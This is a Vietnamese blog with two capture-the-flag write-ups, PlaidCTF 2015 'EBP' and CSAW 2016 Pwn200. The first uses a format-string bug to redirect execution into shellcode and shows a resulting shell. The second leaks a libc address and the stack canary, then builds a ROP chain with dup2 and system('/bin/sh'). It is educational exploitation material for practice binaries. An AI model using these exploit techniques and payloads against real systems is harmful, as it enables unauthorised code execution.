Thứ Sáu, 25 tháng 11, 2016

[Writeup] PlaidCTF CTF 2015: EBP

Bài này cũ rồi nhưng mình thấy hay thì mình writeup thôi.

$ file ebp
ebp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=4e8094f9986968cd856db5093810badbb0749fde, not stripped

Test:
$ ./ebp
phieulang
phieulang

%p%p%p
0xa0x1(nil)
=> Format string.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
------------------------------------------------------------------
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@3

  while ( 1 )
  {
    result = fgets(buf, 1024, stdin);
    if ( !result )
      break;
    echo();
  }
  return result;
}
------------------------------------------------------------------
int echo()
{
  make_response();
  puts(response);
  return fflush(stdout);
}
------------------------------------------------------------------
int make_response()
{
  return snprintf(response, 1024u, buf);
}
------------------------------------------------------------------
.bss:0804A080 ; char buf[1024]
.bss:0804A080 buf             db 400h dup(?)          ; DATA XREF: make_response+6 o
.bss:0804A080                                         ; main+21 o
.bss:0804A480                 public response
.bss:0804A480 ; char response[1024]
.bss:0804A480 response        db 400h dup(?) 

Payload được dùng tới 1024 bytes (khá thoải mái).
buf (format) ở BSS nên ta sẽ không tìm được offset tới buf để format string theo cách thông thường được.

NX disable => Hướng giải quyết là sẽ ghi shellcode lên buf (RELRO : Partial => địa chỉ cố định ở BSS) sau đó cho EIP nhảy về shellcode.

Ghi shellcode lên buf thì dễ rồi (tạm bỏ qua).
Control EIP nhảy về buf:
  • Ghi đè ret?
  • Ghi đè GOT?
  • Ghi đè _fini_array?
Mình không break được vòng lặp ở main => loại phương án ghi đè _fini_array (bạn nào break được thì chỉ mình với).


=> 0x804851a <make_response+29>:        call   0x80483f0 <snprintf@plt>
Breakpoint 1, 0x0804851a in make_response ()
gdb-peda$ x/30wx $esp
0xffffd170:     0x0804a480      0x00000400      0x0804a080      0x0000000a
0xffffd180:     0x00000001      0x00000000      0xffffd1a8      0x0804852c (echo+11)
0xffffd190:     0xf7fc3ac0      0xf7ff04c0      0xffffd1f4      0xf7fc3000
0xffffd1a0:     0x00000000      0x00000000      0xffffd1c8      0x08048557 (main+16)
0xffffd1b0:     0x0804a080      0x00000400      0xf7fc3c20      0xf7fc3000
0xffffd1c0:     0x08048580      0x00000000      0x00000000      0xf7e31af3 (__libc_start_main+243)

Như vậy ta không tìm được bất kì địa chỉ GOT hay địa chỉ ret của hàm nào trong stack (0xffffd18c, 0xffffd1ac, 0xffffd1cc).
Nhưng ta được input nhiều lần => ghi đè nhiều lần để tạo ra được địa chỉ ret hoặc GOT trong stack.


Theo hướng ghi đè ret:
- Trong stack ta cần 1 con trỏ trỏ tới 1 vùng nhớ trên stack. (đã có 0xffffd180 -> 0xffffd1a8). Để leak địa chỉ con trỏ, format string hoàn toàn có thể leak được dễ dàng.
gdb-peda$ x/30wx $esp
0xffffd170:     0x0804a480      0x00000400      0x0804a080      0x0000000a
0xffffd180:     0x00000001      0x00000000      0xffffd1a8      0x0804852c (echo+11)
0xffffd190:     0xf7fc3ac0      0xf7ff04c0      0xffffd1f4      0xf7fc3000
0xffffd1a0:     0x00000000      0x00000000      0xffffd1c8      0x08048557 (main+16)
0xffffd1b0:     0x0804a080      0x00000400      0xf7fc3c20      0xf7fc3000
0xffffd1c0:     0x08048580      0x00000000      0x00000000      0xf7e31af3 (__libc_start_main+243)
- Ta thay đổi giá trị con trỏ để trỏ về địa chỉ ret. (0xffffd1a8 -> 0xffffd1ac (ret_of_echo) )
gdb-peda$ x/30wx $esp
0xffffd170:     0x0804a480      0x00000400      0x0804a080      0x0000000a
0xffffd180:     0x00000001      0x00000000      0xffffd1a8      0x0804852c (echo+11)
0xffffd190:     0xf7fc3ac0      0xf7ff04c0      0xffffd1f4      0xf7fc3000
0xffffd1a0:     0x00000000      0x00000000      0xffffd1ac      0x08048557 (main+16)
0xffffd1b0:     0x0804a080      0x00000400      0xf7fc3c20      0xf7fc3000
0xffffd1c0:     0x08048580      0x00000000      0x00000000      0xf7e31af3 (__libc_start_main+243)
- Ta tiếp tục thay đổi giá trị của địa chỉ ret về buf. (0xffffd1ac -> buf  0x0804A080)
gdb-peda$ x/30wx $esp
0xffffd170:     0x0804a480      0x00000400      0x0804a080      0x0000000a
0xffffd180:     0x00000001      0x00000000      0xffffd1a8      0x0804852c (echo+11)
0xffffd190:     0xf7fc3ac0      0xf7ff04c0      0xffffd1f4      0xf7fc3000
0xffffd1a0:     0x00000000      0x00000000      0xffffd1ac      0x0804A080 (buf)
0xffffd1b0:     0x0804a080      0x00000400      0xf7fc3c20      0xf7fc3000
0xffffd1c0:     0x08048580      0x00000000      0x00000000      0xf7e31af3 (__libc_start_main+243)

Mỗi lần ta chỉ cần ghi 2 bytes là đủ.
Vậy là xong ý tưởng.

Cách tính offset thì ta tính từ buf trở đi:
buf 0x0804a080 tại 0xffffd17c
0xffffd1a8 tại 0xffffd18c => offset = (0xffffd18c-0xffffd17c)/4 = 4

0xffffd1c8 tại 0xffffd1ac => offset = (0xffffd1ac-0xffffd17c)/4 = 12

POC:
$ python ebp.py
[+] Opening connection to 127.0.0.1 on port 8888: Done
debug?
[*] Switching to interactive mode

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               
1���Qh//shh/bin\x89�
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
$ id
uid=1000(phieulang) gid=1000(phieulang) groups=1000(phieulang),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)
$  

Full Payload: ebp.py

Chủ Nhật, 18 tháng 9, 2016

[Writeup] Tutorial - Pwn200 CSAW CTF 2016

Đã lâu rồi không viết writeup, nay Lãng đã comeback.

Đề cho 2 file: tutorial và libc-2.19.so

$ file tutorial
tutorial: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=01e9b94153bb138f2dda5b5b9c490da7c255c68d, not stripped

Phân tích file turorial:
Sơ bộ trong main thì chương trình sẽ nhận đối số argv[1] làm port để listen socket.
Sau đó vào hàm priv(“tutorial”) kiểm tra username tutorial có tồn tại hay không. Phần này sau khi coi toàn bộ chương trình thì mình thấy nó không liên quan tới những phần còn lại, trên server nó tự có môi trường rồi nên mình tiến hành patch lại để debug cho dễ.
Mình sử dụng keypatch (http://www.keystone-engine.org/keypatch/) là 1 plugin cho IDA Pro giúp ta patch lại chương trình tốt hơn rất nhiều so với plugin có sẵn của IDA.
Patch từ 0x40123A tới 0x40124C thành nop (0x90).

Ngoài ra mình có thể patch lại call alarm cho dễ debug local cũng được.

Sau đó chương trình sẽ vào menu chính:
Tại đây ta có 3 lựa chọn:


1: call func1
2. call func2
3. exit

func1:

Như vậy tác dụng của func1 là leak cho ta 1 địa chỉ trong libc.






Từ đây ta có thể tính được các hàm khác trong libc như system, chuỗi /bin/sh


func2:

s tại rbp-0x140
v3 (cookie) tại rbp-0x8

Stack func2:
rbp+0x8 (ret)
rbp
rbp-0x8 (cookie)
rbp-0x140 (s)

Ta thấy read s tới 0x1cc bytes (>0x140) dẫn đến overflow được rbp+0x8 (ret) nhưng vấn đề ở đây là chương trình enable canary, nếu overflow lên stack làm cookie thay đổi, trước khi ret hàm sẽ check lại cookie báo lỗi và thoát.

Để ý ta thấy hàm write sẽ in ra 0x144 bytes từ s, như vậy sẽ in luôn cả cookie ra.


Như vậy ta cần thực hiện các bước để gọi được system(“/bin/sh”) chương trình:
1. leak libc (func1), tính system, /bin/sh
2. leak cookie
3. ghi đè lên stack với đúng cookie để nhảy về system, /bin/sh

Ở bước 3 ta cần một số gadget để đưa /bin/sh vào rdi.


Như vậy payload như sau:
payload = "\x90"*0x138
payload += cookie
payload += p64(menu)
payload += p64(popRDI)
payload += p64(str_bin_sh)
payload += p64(system)

Tiếp theo ta gặp phải vấn đề là server chạy được system(“/bin/sh”) nhưng ta ở client không thể truyền, nhận dữ liệu với process được. (chỉ truyền nhận từ stdout và stdin)

Để giải quyết vấn đề này ta sử dụng hàm dup2.
dup2() makes newfd be the copy of oldfd, closing newfd first if necessary (https://linux.die.net/man/2/dup2).
dup2(0x4,0x0) # 0x4: server socket, 0x0 stdin
dup2(0x4,0x1) # 0x4: server socket, 0x1 stdout

Có tới 2 đối số vì vậy ta cần thêm 1 gadget để đưa giá trị đối số thứ 2 vào RSI:


Payload:
payload = "\x90"*312
          payload += cookie
          payload += p64(menu)
          payload += p64(popRSI_pop)
          payload += p64(0x0)
          payload += p64(0x0)
          payload += p64(popRDI)
          payload += p64(0x4)
          payload += p64(dup2)
         
          payload += p64(popRSI_pop)
          payload += p64(0x1)
          payload += p64(0x1)
          payload += p64(popRDI)
          payload += p64(0x4)
          payload += p64(dup2)
         
          payload += p64(popRDI)
          payload += p64(str_bin_sh)
          payload += p64(system)